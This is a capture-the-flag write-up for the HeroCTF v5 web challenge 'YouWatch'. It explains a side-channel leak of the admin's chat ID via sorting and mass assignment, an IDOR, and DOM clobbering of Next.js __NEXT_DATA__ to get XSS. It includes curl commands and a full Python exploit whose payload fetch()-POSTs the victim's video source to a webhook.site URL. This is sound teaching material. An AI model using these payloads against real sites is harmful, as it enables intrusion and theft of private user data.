title: YouWatch
date: May 15, 2023
tags: Writeup Web HeroCTF_v5 MyChallenges
Difficulty: 500 points | 2 solves
Description: A new video upload platform opens its doors! It's promising and a lot of investors are part of the project!
The admin of the platform has uploaded a presentation video which presents a lot of tips and advices to start and progress quickly on the platform.
Unfortunately, you are not an investor...
The admin of the platform is very trendy, and the code of the platform is open-source.
Find a way to watch the admin's video!
Sources: youwatch.zip
This challenge is maybe the hardest I have made with my friend Worty until today, I hope you will enjoy this writeup.
For this challenge, we have to following configuration:
The following GIF will give you an overview of the web application:
As we can see, the web application allows to:
In addition, we know that the admin access each minute his private video:
async function visitPage()
{
var bot_user = process.env.BOT_USER;
var bot_pass = process.env.BOT_PASSWORD;
var frontend = process.env.FRONTEND_BOT
const admin_video_id = "cb13a41b-04a1-47aa-8687-885fe74a1062"; // not the same on remote :)
const admin_chat_id = "2e6e4787-6722-46da-83f9-8d38a4c7a922"; // not the same on remote :)
// Retracted
await page.goto(`${frontend}/video/view/${admin_video_id}`)
await Message.destroy({
where: {
chatId: admin_chat_id
}
})
browser.close();
return;
}
cron.schedule("*/1 * * * *", visitPage);
So, for this challenge, we have to find a way to send a message to the admin's private chat and steal the video content.
In this section, we are going to list all gadgets that has to be found to craft the final exploit.
Even if it is not visible from the frontend, the API /api/videos/getVideos has a lot of additional parameters. Thanks to them we can:
I added comments on the below snippet:
let sort_by = "name";
let order = "ASC";
let type = "public";
let name = "";
if (req.query.sortBy != undefined) {
if (checkType(req.query.sortBy)) {
sort_by = req.query.sortBy; // Change sortBy here
} else {
res.status(400).json( {"code": 400, "error": "sortBy is not a string"});
res.end();
}
}
// Retracted
if (req.query.type != undefined) {
if (checkType(req.query.type) && ["public","private"].includes(req.query.type)) {
type = req.query.type // Change type here
}
}
// Retracted
if (type == "public") {
// Retracted
} else {
videos = await Video.findAll({
include:[{
model: User,
attributes: ["pseudo"],
as: 'users'
}],
attributes: ["name"], // We can see the name of all private videos!
order: [
[sort_by, order] // Here we can sort by any column!
],
where:{
isPrivate: 1,
name: {
[Op.like]: `%${name}%`
}
}
});
}
if (videos.length > 0) {
res.status(200).json( {"code": 200, "data" :videos} )
} else {
res.status(200).json( {"code": 200, "data": "No videos found"} )
}
When updating a video, there is no check about what attribute can be edited. It is possible to update any of the following values:
This is really interesting because, when creating a video, most of them are set randomly. Therefore, we can now control arbitrary attributes! 🔥
I added comments on the below snippet:
// Retracted, but you must own the video to edit it
// Impossible to update pathVideo
if(req.body.pathVideo != undefined) {
res.status(403).json( {"code": 403, "error": "You can't update the path to your video."})
}
// The body is used to update the video -> allows to update any attribute not filtred
const res_update = await Video.update(req.body, {
where: {
id: req.body.id
}
})
On /api/chats/sendMessage there is no check about the video's owner. So, we can send a message to any chat if we have his videoId!
await Message.create({
id: v4(),
userId: req.decoded.id,
content: req.body.content,
chatId: req.body.chatId
})
res.status(200).json({"code": 200, "ok": "Message sent !"})
Thanks to the previously found gadgets, we have now the ability to leak the admin's chatid 🎉
Thanks to the sort misconfiguration and the mass assignment, we can:
Thus, if the admin's private chatId start with a letter which is under a in the ASCII table, our video will be below at the opposite, it will be above! 🔥
For example:
curl -s -X PUT -H "Content-Type: application/json" -b "token={YOUR-TOKEN}" -d '{"id": "{YOUR-VIDEO-ID}", "name": "Private video", "isPrivate":1, "chatId": "0"}' http://172.17.0.1:3000/api/videos/updateVideo
curl -s -X GET -b "token={YOUR-TOKEN}" "http://172.17.0.1:3000/api/videos/getVideos?name=&type=private&sortBy=chatId" | jq
As we can see, for chatId=0, our video is above the admin video while for chatId=z it is below. Thus, the first letter of the private admin chatId is between 0 and z in the ASCII table!
Now that we can send any message to the private admin chat thanks to the side channel attack and the IDOR on api/chats/postMessage, we need to find a way to still the video content.
Looking into the frontend source code, we can find the following:
export default function Message(props: ContainerProps) {
const msg = parseMarkdown(props.content);
return (
<div className="mb-20">
<FontAwesomeIcon icon={faUser} className="mr-10" /> <span dangerouslySetInnerHTML={{ __html: `${props.pseudo} ${msg}` }}></span>
</div>
);
}
As we can see, the message component allows MarkDown and are rendered using dangerouslySetInnerHTML which allows HTML!
Unfortunately, trying basic HTML injection / XSS it doesn't works.
To understand what happens here, we need to dig into the parseMarkdown function:
import sanitizeHTML from '../security/sanitizeHTML';
export default function parseMarkdown(markdown: string) {
const parser = require('markdown-it')().use(require('markdown-it-attrs'), {
allowedAttributes: [ 'id', 'class', 'name' ]
}).disable('emphasis');
var unsafe_html = parser.render(markdown);
return sanitizeHTML(unsafe_html);
}
import santize from 'sanitize-html';
export default function sanitizeHTML(html) {
return santize(html, {
allowedTags: ['h1', 'h2', 'h3', 'h4', 'p', 'div', 'img', 'em', 'a', 'i', 'b'],
allowedAttributes: {
'*': [ 'id', 'class', 'name' ],
'img': [ 'src' ],
'a': [ 'href' ]
}
})
}
As we can see, markdown-it is used to render markdown. This library santizes HTML by default and render only MarkDown values to prevent XSS. In addition, the markdown-it-attrs library is used to allow to add attributes to the rendered MarkDown value. Finaly, to ensure that no XSS is generated by both libraries, sanitize-html.
From the above audit, we can conclude that sanitization is pretty strong 😂
Therefore, there is something really important! Even if it is not possible to trigger an XSS directly from the above configuration, it is possible to inject arbitrary attribute which can be pretty useful for DOM Clobbering attacks!
At this point, if we found a way to trigger an XSS thanks to the attribute injection, we would be able the steal the admin private video!
When looking for DOM Clobbering gadget, there is a lot a way to start: reviewing JS files, looking for interesting HTML structure, using tools like DOM Invaders>... In our case, we are going to simply take a look to the DOM:
<html>
<head>
<!-- Retracted -->
</head>
<body>
<!-- Retracted -->
<script id="__NEXT_DATA__" type="application/json">
{"props":{"pageProps":{"pseudo":"worty_mizu","email":"worty_mizu@gmail.com","name":"Private video","videoId":"68664b07-294f-4a95-bfb1-24a2855e4258","videoData":"...","chatId":"d41f28f5-4c54-432a-9222-ac2161c909dc","chat":[{"content":"\u003ch1\u003eHELLO\u003c/h1\u003e\n\u003cimg src=x onerror=alert()\u003e","users":{"pseudo":"worty_mizu"}}]},"__N_SSP":true},"page":"/video/view/[id]","query":{"id":"68664b07-294f-4a95-bfb1-24a2855e4258"},"buildId":"CZ8IYPA3CrGB26R1ig03G","isFallback":false,"gssp":true,"scriptLoader":[]}
</script>
<!-- Retracted -->
</body>
</html>
If you look closely, you should see the above script tag which is used to provide Server Side props, buildId... information to the Client Side in order to render the page. What is interesent with this tag? Is has a NextJs id 🔥
If we try to clobber it, it gives us:
# HELLO {#__NEXT_DATA__}
If we dig into the error: (permalink of the vulnerable code)
void 0 === e && (e = {}),
a = JSON.parse(document.getElementById("__NEXT_DATA__").textContent),
window.__NEXT_DATA__ = a,
As we can see, the __NEXT_DATA__ script content is retrieved using document.getElementById which get only the first occurrence! Because the original one is present at the end of the DOM, we can clobber it and change the JSON content 🎉
Now that we have a gadget, we need to find a way to abuse it to get an XSS. From the initial value, we can see an interesting attribute: scriptLoader 👀
if (initialData.scriptLoader) {
const { initScriptLoader } = require('./script')
initScriptLoader(initialData.scriptLoader)
}
export function initScriptLoader(scriptLoaderItems: ScriptProps[]) {
scriptLoaderItems.forEach(handleClientScriptLoad)
addBeforeInteractiveToCache()
}
export function handleClientScriptLoad(props: ScriptProps) {
const { strategy = 'afterInteractive' } = props
if (strategy === 'lazyOnload') {
window.addEventListener('load', () => {
requestIdleCallback(() => loadScript(props))
})
} else {
loadScript(props)
}
}
const loadScript = (props: ScriptProps): void => {
// Retracted
const cacheKey = id || src
// Retracted
if (src) {
el.src = src
ScriptCache.set(src, loadPromise)
}
// Retracted
document.body.appendChild(el)
}
Thanks to the above call tree, we can understand that scriptLoader as the following structure:
{
"scriptLoader": {
"src": "data:,alert()"
}
}
Using it on our own chat and we get an XSS! 🎉
## {"scriptLoader": [{"src": "data:,alert()"}]} {#__NEXT_DATA__}
The below script chain everything described before, change the following before executing it:
import requests, sys
class SideChannel():
def __init__(self):
self.alpha = "-0123456789abcdefg" #we put a char after f because if there's a f in the admin's chatid the side channel wont see it
self.size = 36
self.S = S = requests.Session()
self.base_url = base_url = "http://localhost:3000"
self.exfilt_url = "https://webhook.site/42bde4c8-a8dd-4fb0-81bf-1f00fe8fdce1"
self.videos = []
self.oracle_video = {
"id": "fb92ed38-a06d-47d2-af99-7d7ef8effe29"
}
self.admin_chat_id = ""
self.last_upper = "admin"
self.current_char = ""
self.old_char = ""
self.debug = 0
self.payload = '## {"scriptLoader": [{"src": "data:,fetch(\'%s\', {method: \'POST\',body: document.getElementsByTagName(\'source\')[0].src})"}]} {#__NEXT_DATA__}' % self.exfilt_url
def modify_video(self, char):
to_send = {
"id": self.oracle_video['id'],
"name": "oracle",
"isPrivate": 1,
"chatId": self.admin_chat_id+char
}
self.current_char = char
self.S.put(f"{self.base_url}/api/videos/updateVideo",json=to_send)
def call_oracle(self):
res = self.S.get(f"{self.base_url}/api/videos/getVideos",params={"type":"private","sortBy":"chatId","orderBy":"DESC"})
current_upper = res.json()['data'][0]['users']['pseudo']
if current_upper != self.last_upper:
self.admin_chat_id += self.old_char
self.last_upper = "admin"
return True
else:
return False
def get_videos(self):
self.videos = self.S.get(f"{self.base_url}/api/videos/myVideos").json()
if self.videos.get('data') and len(self.videos['data']) > 0:
self.oracle_video = self.videos['data'][0]
def login_and_upload(self):
if(self.S.post(f"{self.base_url}/api/login",json={"pseudo":"exploit","password":"exploit"}).status_code == 200):
print("[LOGIN OK]")
my_video = self.S.get(f"{self.base_url}/api/videos/myVideos").json()
if len(my_video["data"]) == 0:
if(self.S.post(f"{self.base_url}/api/videos/uploadVideo",json={"name":"super video !","isPrivate":1,"video":"YQ=="}).status_code == 200):
print("[UPLOAD OK]")
else:
print("UPLOAD ERROR")
else:
print("[LOGIN ERROR]")
def send_evil_msg(self):
if(self.S.post(f"{self.base_url}/api/chats/sendMessage",json={"chatId":self.admin_chat_id,"content":self.payload}).status_code == 200):
print("[PAYLOAD SENT]")
else:
print("[PAYLOAD ERROR]")
def run(self):
self.login_and_upload()
self.get_videos()
self.modify_video("") #put the chat id to "" so the admin will be upper
self.call_oracle()
for i in range(36):
for a in self.alpha:
self.modify_video(a)
if(self.call_oracle()):
if(self.debug):
print(self.admin_chat_id)
break
else:
self.old_char = a
print("[GET CHATID OF ADMIN]")
self.send_evil_msg()
side_channel = SideChannel()
side_channel.run()
Decoding the video and we get:
Flag: HERO{N3XT_0DAY_L34K_4DM1NV1D3O!!} 🎉